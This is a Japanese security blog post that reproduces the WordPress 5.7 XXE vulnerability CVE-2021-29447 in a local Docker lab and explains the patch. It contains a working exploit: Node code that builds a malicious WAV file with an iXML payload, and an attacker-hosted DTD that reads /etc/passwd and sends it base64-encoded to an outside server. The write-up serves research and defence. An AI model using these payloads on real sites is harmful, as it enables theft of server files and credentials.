まったり技術ブログ

主にWebエンジニア向けのセキュリティブログ。たまに開発も

WordPress の XXE(CVE-2021-29447) やる

f:id:motikan2010:20210418213822p:plain

はじめに

 2021年4月15日に WordPress 5.7.1 がリリースされ、脆弱性が2つ修正されました。

wordpress.org

 その中の1つであるXXEの脆弱性(CVE-2021-29447) を検証していきます。
具体的には『Blind XXE』を使ってターゲットとなるWordPressサイトにからで /etc/passwdファイルの中身を取得します。

f:id:motikan2010:20210417214606p:plain:w700

 悪意あるXMLコードを含んだWAVファイル(.wav)をアップロードすることで脆弱性を悪用できますが、メディアをアップロードできるロールは以下の通りです。

 「投稿者 (Author)」以上のロールのアカウントがこの脆弱性を利用できます。

ロール メディアのアップロード
購読者 (Subscriber) できない
寄稿者 (Contributor) できない
投稿者 (Author) できる
編集者 (Editor) できる
管理者 (Administrator) できる

脆弱性の修正内容

 脆弱性の修正コミットはこちらです。
External libraries: Include upstream GetID3 fix for PHP 8. · WordPress/WordPress@c29db9c · GitHub

脆弱性の修正内容

 PHP のバージョンが8以上でも libxml_disable_entity_loader(true)関数 を呼び出すように修正されています。

脆弱性の検証

 検証環境は以下の通りです。

 ホストPCの各ソフトウェアのバージョンは記載しているもの以外でも動作すると思います。

  • ホストPC
    • Mac OS
    • Docker 20.10.5 → WordPress を動作に使う
    • PHP 7.3.21 → 攻撃者Webサーバを動作に使う
    • npm 7.7.0 → 攻撃用WAVファイルを生成に使う
  • WordPress Docker 環境
    • WordPress 5.7
    • PHP 8

 下のリポジトリ内のコードを用いて脆弱性の検証を行っていきます。

github.com

WordPressの起動

 Dockerで攻撃対象となる WordPress を起動します。WordPressのバージョンは 5.7 です。
そして初期設定としてサイト名や管理者アカウント情報などを設定します。

$ make up-wp
docker-compose up
Creating network "cve-2021-29447_default" with the default driver
Creating cve-2021-29447_db_1 ... done
Creating cve-2021-29447_wordpress_1 ... done
Attaching to cve-2021-29447_db_1, cve-2021-29447_wordpress_1

アカウントの確認

 検証で使用するアカウントを作成します。

 メディアをアップロードできるロールの中で一番権限の弱い「投稿者 (Author)」アカウントを作成します。

f:id:motikan2010:20210417214748p:plain:w700

攻撃用WAVファイルの生成

 iXML チャンク部分に攻撃コードを含んだ WAVファイル(.wav) を作成していきます。

 iXML チャンクを操作するために wavefile というnpmライブラリを使いました。

github.com

 WAVファイルを生成するコードは下のようになっています。

 setiXML関数の引数に iXML チャンクの内容を記述します。攻撃者Webサーバの DTDファイルを取得するXMLを定義しています。

const fs = require('fs');
const wavefile = require('wavefile');

let wav = new wavefile.WaveFile();
wav.fromScratch(1, 44100, '32', [0, -2147483, 2147483, 4]);
wav.setiXML('<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM \'http://host.docker.internal:8001/evil.dtd\'>%remote;%init;%trick;]>');
fs.writeFileSync('malicious.wav', wav.toBuffer());

 作成したmalicious.wavに攻撃コードが含まれていることが確認できます。 WAVファイルの生成

 ちなみに iXML チャンクの説明は以下の通り。ファイルのメタデータを格納する領域とのこと。

iXML チャンクを挿入 (Insert iXML Chunk)
プロジェクト名、作成者、フレームレートなどのプロジェクト関連の付加的な情報を追加します。

steinberg.help

攻撃者Webサーバを起動

 攻撃者Webサーバを起動します。
本来ではインターネット上で動作させて攻撃対象WordPressからリクエストを受け付けますが、検証ではホストPC上で動作させています。

攻撃者Webサーバを起動

 コンテナ内からホストPCにアクセスするためには host.docker.internal ドメインを使用します。

# curl http://host.docker.internal:8001/evil.dtd -v

> GET /evil.dtd HTTP/1.1
> Host: host.docker.internal:8001
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Host: host.docker.internal:8001
< Date: Sun, 18 Apr 2021 02:12:22 GMT
< Connection: close
< Content-Type: application/xml-dtd
< Content-Length: 193
<
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://host.docker.internal:8001/?p=%file;'>" >

WAVファイルのアップロード

  WordPressの管理画面にログインし、先ほど生成したWAVファイルをアップロードします。

 投稿者ロールのアカウントであるため、管理者ロールと比べてできることが少ないですがメディアのアップロードは可能です。

WAVファイルのアップロード

 WAVファイルをアップロードした瞬間に攻撃者Webサーバへ攻撃対象WordPressからアクセスがあります。

攻撃者Webサーバのログを確認

 アクセスログから evil.dtd謎のBase64文字列 へのアクセスが確認できます。

攻撃者Webサーバのログ

 赤枠で囲っている部分が /etc/passwdファイルの内容です。圧縮&エンコードされているので今は読めませんが...。

ログから取得した文字列の解凍

 ファイル内容は zlibで圧縮後、Base64エンコード されているため、そのまま読むことはできませんが Base64デコード後、zlibで解凍 することで読むことができるようになります。

取得した文字列の解凍

ファイル内容を確認

 取得するデータを圧縮する工夫をしていますが /var/www/html/wp-config.php ファイルはサイズの問題なのか取得することができませんでした...。 https://www.synacktiv.com/ressources/synacktiv_drupal_xxe_services.pdf#page=11

まとめ

 以上が脆弱性の検証でした。

 脆弱性が発生した理由は PHP 8以上時には、libxml_disable_entity_loader関数を呼び出していことがありました。

脆弱性の修正内容
脆弱性の修正内容

 ドキュメントの方には この関数は PHP 8.0.0 で 非推奨になります。 と記載があります。

しかし、下記のような記載があるので今回の場合は libxml_disable_entity_loader関数 を使う必要がようです。

libxml 2.9.0 以降では、エンティティの置換はデフォルトで無効になっているため、 LIBXML_NOENT を使って内部エンティティの参照を解決する必要がない限り、 外部エンティティの読み込みを無効にする必要はありません。

f:id:motikan2010:20210418211607p:plain:w600
libxml_disable_entity_loader 関数の説明

PHP: libxml_disable_entity_loader - Manual

 昨今では libxml 2.9.0 のように、デフォルトが安全な方になっていてセキュリティ面で意識しなくても良いようになってきていますが、特定の条件下(今回の場合はLIBXML_NOENTを引数に渡している)では脆弱になるということに注意する必要があると思った次第です。

参考

更新履歴

  • 2021年4月23日 「MAVファイル」を「WAVファイル」に修正
  • 2021年4月18日 新規作成